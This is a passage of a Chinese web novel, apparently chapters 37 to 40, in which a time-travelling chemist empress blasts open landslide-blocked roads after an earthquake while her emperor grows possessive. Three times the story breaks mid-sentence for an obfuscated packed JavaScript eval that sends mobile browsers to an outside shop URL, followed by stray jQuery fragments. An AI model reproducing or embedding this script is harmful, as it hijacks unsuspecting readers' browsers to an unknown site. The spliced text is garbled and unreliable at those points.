殿中不断传出噼里啪啦的脆响,属于礼诗涵的试管烧瓶从桌上晃下,酸碱液体泼洒在地面上,木质房梁也发出令人恐惧的吱呀声。 礼诗涵握住侍女们的手,唯一能做的事就是对月亮祈祷,让这场地震快快过去。 这是她无法反抗、也无法预测的伟力。 新元元年,利阳地动—— “死伤者众,流离失所之人数不胜数。” 大殿之上,令君和一身漆黑兵甲,他率士卒彻夜救援,眼下难掩风尘仆仆,急促道:“至于城郊被乱石所掩村落、更是数不胜数,道路损毁,车马难行,需得快些发兵救援!” “太尉所言极是。”上官丞相踱步出列,拱手行礼,却道,“地动引得田庄损毁,而人力有限,而天无穷。若不及时抢救田庄,耽搁春耕,则祸比之地动深矣。” “丞相之意,是要弃百姓不顾?” “非也。”上官丞相慢悠悠道,“地动凶猛,但利阳皇宫安然无恙。想来因此而落难者,本就是贱民!以朝廷之人力财力,挽救这本就天为被地为席之人,是以金石去补土木。不值矣!” 令君和转向新皇,言辞恳切道:“人乃朝廷立足之本。陛下新登大宝,若能派兵四处救援,并施以恩惠,来日百姓必不忘陛下之大恩。” 新皇帝似乎有些意动。 上官丞相瞧见他面容上的一丝动摇。 想来年轻的皇帝,大都是想要做出一番事业。更何况是他这样地位翻覆的微末皇子。 上官丞相当即再行大礼,恭维道:“陛下龙体,本就贵不可言。百姓食君之禄,当为之震颤供奉,是本来之事。何言恩惠呢?” “倒不如将其贬为贱籍,分入田庄。奴隶有主,不愁餐饭。主人有奴,也不愁无人修复田埂!” 令君和瞧见新君眼中翻滚的情绪,心知他主意已定,不得在心中叹息。 目光短浅,只进谗言,大阜危矣! 朝罢,他拂袖而去。无皇帝亲令,他只能调动三五百亲兵赈灾。 这个冬天会有许多人难过了。 上官丞相周身挤满了恭维的臣子。这些人们并看不起女儿,却坚定地认为把女儿送入宫中,自己就会有一条通天坦途。 上官丞相满脸喜色地拱手,刚要开口说些什么,却听见熟悉的一声巨响:轰! 他对这声音太熟悉了,笑容僵在脸上。 “报——”传令太监不敢隐瞒,道,“坤宁宫起火!” 众大臣面面相觑。令君和愕然。 . 这次真不是礼诗涵干的。 只是一个不幸的意外。 礼诗涵虽然自信心爆炸,认为自己就算条件简陋,经手过的实验也绝对不会出错。但她也不是疯子,不会把炸药就这么放在自己身边。 地震混合了她的半成品,极度易燃易爆的火棉裸露在空气中。礼诗涵严令禁止任何太监宫女进入她的宫中,自己在屋内慢慢处理。 但有个小太监偏要闯进去,更不幸的是手上点着一盏油灯。 长久地和实验打交道,礼诗涵早就锻炼出无比敏锐的神经,嗅到火油的气味当即扯着小太监的领子猛得跳出门去!火苗擦着她的颈子轰然烧起来,在她背后窜出三丈高! 真是一波未平,一波又起。 新君改年号第二天,大阜大面积地震,而皇后居处炸了。 这真是太吉利啦! 啪!容华的耳光狠狠地扇在小太监的脸上,面容扭曲,恨恨道:“你是谁派来的?我从未见过你!娘娘已经交代过不许入内,你一个小太监怎么敢违背皇后娘娘的旨意?是不是存心要害她?说,不然我就扒了你的皮!” 小太监讷讷,只缩成一团挨揍,不敢还手半分。 “好了,旁人不知也是常事。错也在我,没跟你们科普过为什么不能进。”礼诗涵咳嗽两声,面上染上了些灰黑。 这种木质结构一烧起来就是没完没了,她指挥太监宫女们把周围的杂物清一清,别让火势蔓延到别的宫殿。坤宁宫烧完了,火就自然停了。 小太监呆呆地望着火焰。 礼诗涵也望着噼啪作响的宫殿,十分感慨,忽然转过头对小太监道:“你知道世上为什么没有失败的化学家吗?” 小太监不知道,但小太监很捧场,问:“为什么?” “因为失败的化学家都不在世上了。” 当然没人懂她的地狱笑话。 礼诗涵独自笑了一阵,她的瞳孔中映出火焰,柔软的侧脸几乎要融化在这炽烈的光与热中。她道:“没关系。总有些天灾人祸,没人伤亡就是最大的幸运!” 瞧见众人还是如丧考妣,礼诗涵灵机一动,轻咳两声,抬高双手,大声宣布:“抬够十桶水过来救火的人不会被降罪牵连!不限人数!” 因为有礼诗涵,哪怕她站在熊熊燃烧的废墟中间,给人的感觉也不是大厦将倾,而是凤凰涅槃。 众人立刻精神起来,高呼皇后娘娘英明,争着抢着去井中打水。 小太监忽地一阵羞愧,猛得跪伏在地,刚想说些什么—— “你还有心情在这里开玩笑。”王宇航面沉如水,圣架停在离坤宁宫几步远的地方。 小太监立刻把嘴巴紧紧闭住,一丝多余的声响也不敢发出。 他能感觉到一道格外阴冷的视线。王宇航收回视线,柔声道:“诗涵,别再做那么危险的事情了。这样与你、与我都不好。” “你我今非昔比,而且现在条件不好,就别研究那些东西了,好吗?我会给你建新的宫殿,比原来的还要华丽舒适。” 他轻轻地揽住礼诗涵的肩膀,感受到手下躯体有一瞬间的紧绷,眼神愈发晦暗。 礼诗涵绝对不讨厌竹马。 王宇航亲手杀了人,虽然这是因为太子先图谋不轨。但他如此平淡的态度,总让礼诗涵觉得哪哪都不舒服,也说不清是哪不舒服。 她下意识挣开王宇航,困惑道:“我们已经是这个世界上权势最大的人之一,条件还不好吗?” “......我不是那个意思,诗涵。”在快要燃尽的火焰的余热中,王宇航复杂地凝视着礼诗涵,这个他从小就憧憬的女孩。 他尽量让自己的声音听起来像平时一样温柔,道:“这里除了你以外没有人懂。你从小就在我爸妈的呵护下长大,有最先进的实验室用......” “我们的先辈们也没有。”一说到这个,礼诗涵立刻来了精神,她早就已经画好了图纸写好了计划,可惜全都付之一炬。 但没关系,那些东西都刻印在她的脑子里,谁也夺不走。 她一拍胸脯,像只志得意满的小猫,道:“你给我找些匠人。脑子比较聪明的,灵活的,细心的,知道变通的。” “五年,不,三年!”礼诗涵的眼睛亮晶晶的,自信道,“我一定能把他们教出来。然后他们再去教别的人。不管火药火棉还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782423|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' □□TNT,亦或是拖拉机坦克蒸汽机,不在话下。到那时,移山填海都不是梦想,百姓的日子会过得更好。” “......而且想要做出‘TL-0726’所需的设备和原料,绝对不是我一人能搓出来的。这里的矿石质量太差了,提纯得头痛。如果你我想要回家,得以举国之力。在离开之前,我们得给他们留下点东西......” “......宇航?你怎么了,被烟呛得不舒服吗?怎么脸色这么差?” 礼诗涵摸了摸王宇航的额头,王宇航的瞳孔正以细微的幅度震颤着,额头上滑下一丝汗水,面色差得吓人。 “你是说,我们能回家?” 他听见自己的声音说。 “嗯!”清亮的女声说,声音中满是期待,“理论上可以。但是缺少实践。” 不行! 绝对不行! 他猛得抓住礼诗涵的双肩,冕旒剧烈颤动,噼里啪啦震颤不休,礼诗涵被他吓了一跳,道:“这么激动?我理解,我也特别想家!” “.........” 只是一瞬间,王宇航就收敛住了全部情绪。 论天资,他尚且不如礼诗涵的万分之一! 可论洞察人心,他可比他单纯的皇后要强得多啊! “人不能给你。”王宇航定了定神,道。 “为什么?” “你知道今天朝堂上发生了什么吗?” “利阳地震,不比我们的时代,不仅百姓流离失所,还有许多村庄被掩埋在山石之中。”王宇航缓缓道,“人手实在不足。” 至于人手是用来维护田地,还是救援灾民,他下意识地没告诉礼诗涵。 “好诗涵,好皇后。”王宇航瞧见礼诗涵动容的眼睛,轻轻道,“乖乖呆在宫殿里,我会为你搜罗来世上所有的金银珠宝。所有人都会憧憬而崇拜你,不要再惹事了。” 他的目光如刀割般,扫过地上的小太监。 “至于这些人,看在你的面子上,姑且不治他们的罪。如若再玩忽职守,便当重刑处置!” 圣驾逐渐远去,礼诗涵呆呆地立在火焰散尽的坤宁宫门口。 “......”容轻伏在地上,注视着远去的皇帝,忽地又扫过颤抖不止的小太监,缓缓眯起眼睛。 她隐约有了一个猜想。 整个宫殿都烧成了灰黑色,未燃尽的木质房梁横陈在正中,还隐隐闪烁着红色。非常地狱的是,坤宁宫是用料最好的宫殿,连烧焦的味道都弥漫着一股甜香。 真金不怕火炼,容华忍着呛人的香味,小心翼翼地从废墟中抢救出一只长命锁并一只凤凰金簪。 忽地礼诗涵从她背后冒出头来,道:“现在用不到那些。放一边吧。” “???” 容华心道,不好!小姐又要发疯了! 所有人的目光一瞬间全聚集在礼诗涵身上,只听她大声道:“所有人,先别管那些没用的金银了,同我一起将这些上好的木炭磨成粉末!” 王宇航后面说的那些,礼诗涵其实都没有听得下去。 地震引起山体滑坡,余震未消,人员被困,礼诗涵只听见了这个。 人手不足? 那她既然有手有脚也没工作,为什么不去帮忙呢?生在古代还被困住,多可怜呐。 至于不让去?降罪? 如果能做的事不立刻去做,礼诗涵才会后悔。如果礼诗涵决定的事能被拦下,她就不是礼诗涵了! 礼诗涵可是万中无一、绝无仅有的爆破天才啊,天生就是为了改变世界的! 38. 第38章 上官皇后(二) 令君如立马,指挥手下亲兵清理从山上滑落的巨石。受伤不重的百姓们正在抢救自己的房屋,从土灰瓦片中清理出可用之物,手指冻得青白麻木。 而肥硕的老鼠被地震惊出,到处乱窜撕咬谷物,忽地有人大叫一声,脚踝处鲜血潺潺——竟是被老鼠撕咬下了一整块活生生的肉! 令君如一看便知道不好。当即传令下去,若是见到老鼠,尽可能灭杀。 但他能做的有限。 地动带来的影响是深远的,这疮疤非举国之力不能平。哪怕他已经一天一夜没合眼,也只能稍稍在这疮疤上遮上一层不起眼的遮羞布。 在黄昏涩目的血光下,他忽地听到一阵杂乱的马蹄声。以及一个如梦一样的清亮女子声音: “马儿,马儿,我的好黛兔,听话啊,不要乱动了,乖乖的马儿有草吃!” 令君如猛地转头,看见了简直令他心脏停跳的一幕—— 那漂亮而娇美的年轻皇后正拼命扯着缰绳,在马背上被甩得步摇都晃出残影; 而黑色的骏马在她手下拼命地翻腾,跳跃,猛烈而愤怒地嘶鸣,但还是挣不脱她那一双雪白而优美的手臂! 礼诗涵额角青筋暴起,脸蛋涨得通红,怒道:“让你乖一点,吁!吁!吁!停下!停!停止!难道你喜欢听好听的?咳咳咳!黛兔宝宝?黛兔宝贝?我的甜心小马?亲亲巧克力小蛋糕,别闹了!!!” 令君如:“.............” 士兵和百姓们:“.............” 这马是上官丞相收藏的西域烈马,品相极好,性子极烈,踢死了前七个主人还能活着落到上官丞相手里,足可见性能极佳。 礼诗涵直接牵走了马厩里最好看的马,强行要求人家拉货就算了,她给的草多。 现在还要骑人家,终于点爆了这黑色倔驴的怒火! 可惜礼诗涵也是倔驴一个,对所有困难都抱有一百分的信念。任凭马儿在身下怎么闹腾,硬是凭借着过人的体质和臂力,表演杂技一般地强行走出了快两公里! 皇后真乃奇人也。 副将表情空白,看向令君和。 而这文官出身、现统武将、战功赫赫、喜怒不行于色的令太尉的气度终于崩裂,面对如此情形,神仙也只能—— “上官梨!”他怒吼,“你在这里,你在,你到底想干什么!快给我下来!” 语无伦次,他气疯了。副将心想。 礼诗涵正是来找他的。 出了这么大的事,总有好人会为此负责的。礼诗涵一路走一路向路旁的百姓打听,总算是寻到了人。还是熟人。 礼诗涵对令君和的印象极好。他的长相和气度,完全符合她对古代英才的想像。 她十分高兴,一边挥手,一边被马儿带着疯狂地转圈圈,一边叫道:“地震,我来,帮忙!” “你别来帮倒忙了!”令君和看得胆战心惊,对手下喝道,“裴伍、令六,快去救皇后!别让她摔下来了!” 见到手持兵器之人靠近,西域烈马愈发狂躁,猛然直冲,眼见两位副将要丧身马蹄,礼诗涵一路过来早有准备,猛然一提缰绳,马儿被她活活拽得腾空跃起,从二位副将中间掠过! 众将叹为观止,只觉此女的身体性能也完全不输一匹烈马!他们都是凭实力说话,自认没这个本事,当即大声叫好! 令君如猛得回头怒道:“还喝彩上了!都给我回去领罚!” 又闪电般转回来,迅速打马上前,一把拽住缰绳,试图平息躁动的马儿。 但如果它能被人轻易地驯服,只能说它就不会沦落到上官丞相手里。 令君如迫于这时而急速狂奔,时而疯狂跳跃的马儿松了手,缰绳在他手心划出一道深而重的血痕,如果他不松手缰绳会立刻带倒本就摇摇欲坠的礼诗涵。 他当即立断道:“皇后!你听我数三个数,我会上前从马上将你抱回。我僭越,但你也不能松手!” 礼诗涵被马儿颠簸得连话都得分三句,却丝毫不觉得害怕,在耳旁呼啸而过的风声中自顾自笑道:“我听说,路堵了,没办法!我有计,可以,一试!我可以,炸出一条,路!” 怎么也看不出如此娇美的人,居然会有如此狂野的心。 “如果你是说你曾在山上展现的神迹,那不可行,一星半点的震动就会引起更多的山体滑坡。”令君如语速飞快,他张开双手,两马并行狂奔,这是个危险的举动,他语气愈发严厉,道,“皇后!快别闹了,配合些!” “我,可以,因为!”礼诗涵气喘吁吁,忽地拼尽全身力气拽住缰绳,黛兔前蹄高高跃起,发出一声深重的嘶鸣—— “因为我是天才。”礼诗涵浑身汗湿,额发也湿漉漉的,得意洋洋地摸了摸终于乖顺的坐骑。 黑色的骏马同样也是气喘吁吁,面对礼诗涵的抚摸不屑地打了个响鼻,姑且是认下了这更是犟得没边的小主人。 “只要让我到现场勘探,我就能判断该用多少炸药。一分不多,一分不少。” 残阳如血,冷风吹过,或许是刚才差点被礼诗涵吓死,被汗湿的衣服也不觉寒冷,只有心跳的声音依然如擂鼓。 上官梨纵然千般美艳,万般动人,终究是个没长成的少女。而在她此刻绽放的奕奕光彩下,皮囊骨肉皆成虚无,引起众人皆尽失语的,是她震颤的灵魂—— “既然上天让我来到此地,我就会向你们这展示人类史上这最伟大的发明,是如何的造福万民——” 从驱邪、避祸。 到庆祝、观赏。 甚至于移山、填海。 一切的一切,都离不开这美妙的爆炸声,炸药的发明是文明的结晶,能用好这炸药就是现代科技的证明! 礼诗涵笑道:“谁敢和我一起改变世界?” . 令君和觉得自己也是疯了。 不然不可能陪着这疯女人一起违抗君命! 烈马黛兔发足狂奔,只有令君和的坐骑可堪堪赶上礼诗涵的速度。而其余亲兵,则都被托付了礼诗涵手作之易燃易爆物,千叮咛万嘱咐地在在二人身后慢行。 二人停在一处巨石前,巨石阻塞道路。 礼诗涵把火把举高,利阳多山,地形易守难攻,坐镇其中可高枕无忧。 但每到黄昏,一座座山峰藏在阴影中,像佛祖低垂的头颅,给人以极强的压迫感。 “此路原本通向平县,那里地势最缓,利阳粮草多靠平县。地动稍停,我便派哨兵前往,但至今未回,怕是山路艰险,已遭不测。”令君和叹道,山峰裸露的灰色土地像刺眼的疮疤,“眼下如此情形,耕地必毁,不知平县百姓如何?” 令君和转头,只和黛兔两个铜铃样的大眼睛对视:“.......” 上官梨呢?! 礼诗涵站在巨石顶上,嗅闻到新鲜的泥土味道。一侧是裸露的山体,而另一侧却是湍急的水流,原本的山路已经被砂石所阻。 “怪不得人手不足。”如果要靠人力车马,重新疏通道路至少要花半个月,礼诗涵冲下面喊道,“很简单,听我布置!” 只要稍微抬起头就能瞧见礼诗涵飞扬的裙角,令君和额角青筋狂跳,按了按太阳穴,道:“胡闹!” 爆破是一门技术。 但礼诗涵向来如臂指使。 礼诗涵布好炸药,令兵士退后三丈。众人皆是屏息凝神,皆盼望神女再做出点什么奇迹,可以把这些拦路的巨石统统碾碎。 在众人的瞩目下,用小火把点燃她那根三丈长的引线,就有些不炫酷。礼诗涵被这些崇拜的目光看得有些飘飘然,当即决定玩个帅的。 她向身边的副官一伸手,副官崇敬地递上弓箭,只见她给箭头点火,屏息凝神,弯弓搭箭,百石的重弓被她拗成满月,直指她放上的炸药. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17784896|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' .....也有许多武将家的小姐擅骑射,但令君和瞧见她的姿态,有些困惑地眯起眼。 绷! 啪嗒! 弓弦猛得回弹,箭啪嗒掉落,以一个非常丑陋的姿态引燃了礼诗涵随手丢在地上的引线。 礼诗涵:“........” 她决定庄严肃穆地注视着它燃烧。 兵士们不明所以,令君和瞧着她通红的耳根,以手扶额—— 轰—— 巨大的烟尘猛然升腾起来,连续不断的爆炸声响起,石块崩裂,噼里啪啦的碎响接连不断仿若天崩!细小的石块崩到黛兔的马蹄,马儿不安地嘶鸣,硫磺的味道猛得击打每个人的面孔! 起先士兵们以为是余震未消,惊慌失措。 却见礼诗涵笑吟吟的,志得意满地张开双臂,炫耀她的成果。 硝烟散去,原本挡在路上的巨石却已经消失不见! 它被礼诗涵精准的爆破碾碎成了无数的石子,随着冲击波一起入水,在水流声中远去了。 你有小时候的记忆吗? 你还记得第一次放鞭炮的样子吗? 从如小猪存钱罐一般大小的容器中绽放的火树银花,有人能不为之驻足吗? 第一次见到的人,怎能不以为这是神迹—— 副将裴伍当场下马跪地,瞳孔巨震; 士兵们更是跪得从善如流; 礼诗涵跳下黛兔,惨叫道:“停下!停下!不要再跪我啦,你们看起来都能当我爹,多折寿啊!” 她力气大,硬是拔萝卜一般把士兵们从地上拔起来。副官令六嘴甜,当即恭维之语如雪花般飞过来:“皇后娘娘玉质金心,慧性天成,真神女也!” “那当然。”礼诗涵频频点头,她就喜欢别人夸她。 "皇后娘娘真是颜若舜华,心若瑾瑜!从今以后,我辈必从之!" 另一个副将裴伍不是文官出身,拼尽全力也比不过同伴舌灿莲花,正为此绞尽脑汁。不过礼诗涵也十分受用,咯咯笑着,眼睫上笼罩了一层暖黄的光晕,道:“过奖!” 她身上也被荡上许多泥土,污了华丽的衣裙,脸颊上浮上一丝红晕,不知道是因为羞赧还是开心。 还是小孩心性。 令君和瞧着她,也不自觉地露出微笑,拱手道:“如若能重开此路,帮百姓重整田地,皇后娘娘功劳大矣。百姓必日日感念皇后娘娘之恩德,说不定可青史留名。” “真的吗?”礼诗涵再天才也顶多上过几次当地报纸,哪见过这种阵仗,立刻被哄得不知道东南西北。 “真的。”令君和忍笑道,“太史官是平县出身。他想必不会吝啬笔墨。” 那还说什么了,谁都拦不住礼诗涵。她当即又跳上黛兔,信誓旦旦道,“没什么东西能挡我,走,我必然给你们炸出一条通天坦途出来!” . “你说,她去哪了?” 如血色的日光从窗格中透进来,在御书房中留下长而晦暗的阴影。屋中没有点灯,王宇航面前堆着无数奏贴,上面的字迹模糊成看不清的一团。 小太监不敢隐瞒,跪伏在地,道:“她带着一堆粉末出宫了。她还......还说......” “什么?” “她说今晚不回来吃饭了。” 王宇航沉沉地叹了口气,扶额道:“你说她怎么能这么做呢?” 不是每个人都像礼诗涵一样大胆还缺心眼,小太监不敢答话:“........” “皇后不应该是贤良淑德、母仪天下的吗?她如果什么都不想,什么都不担心,不论怎么任性、撒娇、哪怕做多坏的事,我都会对她永远忠诚。”这位便宜皇帝喃喃着只有他自己能听懂的话,发自肺腑道,“我真希望她永远无忧无虑!” “来人。”王宇航眼中闪着阴寒的光,道,“把这个险些害死皇后的废物拖出去斩了!” 39. 第39章 上官皇后(三) 礼诗涵天资之绝伦,居然真让一行人在天色黑透之前抵达了平县。 或者说,抵达了应该是平县的地方。 借着如雾般的月光,礼诗涵高举火把,朗声道:“有人在吗?” 此刻万籁俱寂。 在周围无数山峰投下的黑影下,一行人马是如此的渺小。大大小小的房屋荡为平地,新鲜泥土的腥甜气味从未像现在这样明显。 “.......”礼诗涵转头望向令君如,黑夜朦胧了她的轮廓,只听得她语带茫然,道,“我是不是没帮上什么忙?” 她好不容易才来到这里,怎么会是一个坏结局呢? 令君和下马,以火把照了照地面,光亮一晃而过,他道:“泥土有翻动踩踏过的痕迹,平县百姓应是去了别处避难。我这就让手下去寻。” “那我也去。”礼诗涵就要再次上前。 “不可。”令君和一把拽住了礼诗涵的缰绳。 他久在沙场,对于血腥气和土壤的泥腥味分的很清楚。 礼诗涵并不松手。 二人僵持间,令君和软下语气,道:“皇后娘娘,天意难测。地动之后蚊虫蛇蚁具多,若损伤凤体,便是下官无可饶恕之罪。我送您回宫休息吧。” 礼诗涵奋力一挣,居然没挣开,勉强笑了两声,道:“做什么,当我不懂事吗?事有可为与不可为,我明白。我就是比较喜欢助人为乐......” 她声音都带哭腔了。 得想个办法。令君和从没有这么为难过,如果真的苍天有眼就不能让她这样的女子流眼泪! 他大脑正飞速转动间,忽地瞧见远处山峰之上,燃起了一点如豆的灯火。 生还的平县百姓们从噩梦般的山体滑坡中抢救出自己的亲朋。奈何平县四面环山,中间是个凹谷,不仅路全被埋了,再呆在原址上还有再被埋一次的风险。 于是他们自然会选择往高处去。 如今道路再通、官兵可助,一切都会变好的。 礼诗涵再次重燃激情。 她试图帮忙,但实在分不清五谷杂粮,而且对爆炸有着非同一般的天分,生火造饭也弄得浓烟滚滚,被副官用两个饼无情轰走。 令君如不由失笑。 “辛苦令太尉。”有一人左右牵着两个小孩,从阴影中缓缓走出。 令君如回头,略略吃惊,道:“墨太史。” “我趁休沐回乡探亲,不想碰上这般倒霉事,险些没命。”墨太史——墨吾年纪约三十多岁,身上有着浓重的书卷气,为护一双儿女精疲力尽。 年仅十一岁的墨画用力拍打着他的手,叫:“爹爹,你看皇后!是皇后娘娘!” 而九岁的墨诚又怕又饿,更想吃饭,一屁股坐在地上一边尖叫一边嚎啕大哭。两个半大孩子又吵又闹,快把太史官愁成陀螺了:“我的老天!” 他猛地大字型倒在地上,绝望道:“我连遗书都写了三版!” “画儿乖,爹不能看。爹是有妇之夫,不能看别的漂亮小姑娘,看了就会被天打雷劈。”墨吾燃尽了最后的慈爱,面容扭曲道,“带着你弟去抢皇后饼去,乖哈。” 两孩子一走,他才道:“怎么来的只有你的亲兵?新皇如何?” 令君如注视着礼诗涵毫不在乎地把少女抱在怀里暖和,轻声道:“新法未定,但......他想将无家可归之人全部贬入奴籍。” “我一猜就是。”墨吾冷笑一声,道,“这种小人得志最猖狂。靠女人登上皇位的得是怎样的废物啊?” “我能救你小命全靠皇后。”令君如和好友说话自然放松些,他一边瞧着礼诗涵和十几个孩子挤挤挨挨挤在一起,一边道,“她一路炸开巨石,我才能将粮草运至此处。我已经替你答应了,你得替她写几句好话。” “不成不成。”墨吾连连摆手,“我们太史官都是明码标价,童叟无欺的。” 墨吾忽然回过味来,道:“等等,你是说皇后真的是神女?那些传闻没有添油加醋?” “起码是世间绝无仅有的能工巧匠。”令君如瞧见礼诗涵和几十个孩子挤在一起,还又有一对父母千恩万谢地请皇后照顾下孩子,自己去领粥碗。皇后再母仪天下也不能这么用,他终于忍不住扬声道:“皇后,回来!把你手里的孩子还给人家,你才多大,会给人家喂饭吗?!” “好可爱的宝宝!”礼诗涵根本没听见。 她是精力极其旺盛的那种人,如果她没有在爆破上过人的天分,凭着体力和热情就可以去做幼儿园老师,一个人能带三个班。 令君如挤过一群半大孩子,把礼诗涵手中的婴儿劈手抢走,换了个姿势竖着抱,怕皇后误会,道:“你刚刚会把她颠吐——而且皇后应保重自己!” “哦哦。”礼诗涵笑道,“没事,我心中有数。” 他抱着孩子一回头,看到墨吾在地上换了个姿态愈加颓废地躺着:“我看我们是过不上太平日子喽!抛开大秉的狗屎皇帝、垃圾气候、寡淡饮食、糟粕习俗、易攻难守的地理位置,大秉其实还不错,你和我趁早都投了吧。” “?”令君如冷冷道,“你突然发什么病?” “君不如后。”墨吾悲伤道,“外戚专权。这两个人中,但凡只要有一个人消失,大阜还能活啊!” “咦?这难不是我青史留名的好机会?” 墨吾醍醐灌顶,猛地从地上一跃而起!喜滋滋地去领他青史留名的饭吃了。 令君如一直都觉得自己这好友病得不轻。 现在看来他终于疯了。 . 礼诗涵回到皇宫已经是三日后的上午。 实在是有许多地方受灾,她年轻身体好,做做志愿者也不会有什么妨碍。 但每次她休息时,令君如放心不下其它士兵,自己在房外看守。 礼诗涵大为感动,苦劝无果后生怕令君如熬夜猝死。在帮忙疏通了主要通路之后,乖乖回了皇宫。 坤宁宫依然是断壁残垣。容轻一直在宫外守着,一见到礼诗涵,便抓着她去往泽海宫,匆匆道:“皇后娘娘,奴婢僭越,但有一件事需得让您知道——您对陛下如何看法?” “什么?”礼诗涵被这当头一棍打懵了,绞尽脑汁道,“他......是个很温柔的人。” “您觉得陛下是陛下吗?” “.......”容轻双眼微眯,缓缓道,“我就说实话了。” “您觉得陛下还是十九皇子吗?” 礼诗涵的脚步顿了顿。 当然不是了。 现在十九皇子身体里是她的竹马王宇航,不是那个怯懦的十九皇子。 容轻在王怀雪身边十几年,看着十九皇子长大的,发现他性情大变太轻易不过了。 要怎么告诉她呢? 礼诗涵神色古怪,含混道:“什么是不是的?人总是会变的。” 容轻加快语速,道:“陛下从小就不敢直视别人的眼睛,连只蚂蚁都不敢杀。且看他现在呢?而且他见到奴婢,仿佛从不没见过奴婢一般——” “皇后娘娘。”大太监在背后恭恭敬敬道,“皇上请您回宫后去见他。车撵已经备好,请吧。” 礼诗涵谢天谢地,感谢竹马为她解围,迫不及待道:“容轻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787384|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 在宫里等我,有什么事回去说。” 容轻抿唇道:“是。” 容轻走回泽海宫,这宫中现最华丽的宫殿无处不精致,她却愈发觉得胆战心惊。 容华看到她独自回来,立刻上前焦急道:“怎么说?” “你能确定‘夺舍’确确实实地在皇后娘娘身上发生过吗?”容轻不答反问。 容华犹豫半晌,还是点了点头,道:“太不一样了。” 仿佛是在感慨一般,她又重复了一遍,道:“落水前的上官小姐懦弱而胆怯。我去上官府前你也和我一同打听过,是上官丞相故意磋磨成那样的——和现在的上官小姐完全是两个人。” “‘夺舍’发生在陛下身上了。皇后娘娘是知情者,还与现在的他相识。”容轻断定。容华面容骤然变得苍白——她们两个都与原本的十九皇子感情深厚。 容轻依然十分冷静,问:“你怎么想?” “......”容华自嘲地笑笑,道,“背叛的事做一次就行了——我会一直留在她身边。” “好。”容轻道,“那么现在我们就得想办法让她看清陛下。” “皇后娘娘为人太单纯,比原来的上官梨有过之而无不及。若要想让她清醒,需得下一剂猛药!” . 凤驾离开内廷,行至外廷,一般嫔妃不允许进入之地。 大太监觑了下礼诗涵,发现她正在凤驾上以超高难度地打盹,根本没在乎行至何方。 希望这位特立独行的皇后不会被吓到才好。 礼诗涵并没多想。 她拾级而上,满屋子的大臣公卿的目光晦涩不明,最顶端的位置坐着她的竹马。 群臣不动声色地交换目光,却都不发一语,殿内的温度比殿外愈发的寒冷。 皇后出现在朝会上是十分突兀的。 王宇航期待着礼诗涵再次做出什么惊世骇俗之举。 怀着复杂的心思,他笑了笑,道:“皇后已至。诸位爱卿,若对皇后有何不满,可当面一一讲出。” “这.......” 满室静默。 忽有一人道:“皇后娘娘蕙质兰心,我们未敢异议。” “是啊是啊,救济灾民是应该的。” “如若换成我,我也未必有皇后娘娘之英姿啊.....” “???”始终没搞明白情况的礼诗涵礼貌道,“谢谢,我应该的。” 令君和看不下去了。 礼诗涵被叫来之前,朝堂上正热火朝天地弹劾这位年轻而张扬的皇后。 女子应在后宅而不是朝堂,他们瞧不起她。这是这帮老登的共识,自然也不会跟她说实话。 而这新皇也不知道怎么想的,如果他想要礼诗涵抛头露面,他就应该强势镇压下群臣的不满。而如果他也瞧不起她,他就应该去规劝皇后。 把礼诗涵自己叫来面对一帮老登,到底算什么事? 他刚想出列,墨吾一把拉住了他,自己踱步出列道:“陛下,臣有一言。” 他忽然跪下,在众人莫名其妙的眼光中痛哭流涕道:“自新皇登基以来,频有不详之兆。私以为此乃陛下才疏学浅、德行有亏所致。而皇后娘娘德行兼备,身怀奇法,赈灾救济,深得民心。臣不才,请陛下让位于皇后!” ? 礼诗涵懵了。 本来想看好戏的王宇航也懵了。 众人心中只有一个念头:太史官终于疯了? 令君如感到一阵晕眩。 这就是你想出来的青史留名的办法? 用全家的性命一起自爆??? 40. 第40章 上官皇后(四) 令君如不想看着自己好友人头落地,于是抢先出列道:“墨太史家中遭逢巨变,父母亲朋在地动中丧生,太过悲痛,故而口出疯言疯语。望陛下莫要怪罪。” 众人也纷纷出列,七嘴八舌地驳斥他。他的言语太过荒谬不经,所有人都只当他是想要出头想疯了。 墨吾铿锵有力道:“我没疯!我是认真的!三公九卿,众人皆醉而我独醒!若是因忠言逆耳便不去说,那要我等大臣何用?” 王宇航被激怒了,道:“拖下去,斩——” “陛下不可!”礼诗涵立刻驳斥他,道,“怎可因一言而要人性命?” 皇帝当然可以因一言而要人性命。但你是我的竹马王宇航,为什么要坚持这种陋习? 王宇航明白礼诗涵的未竟之意。他俯身,瞳孔微微放大了,道:“那皇后真的想要做皇帝吗?” 这问题很危险,但礼诗涵回答得很快:“我当然不想。” 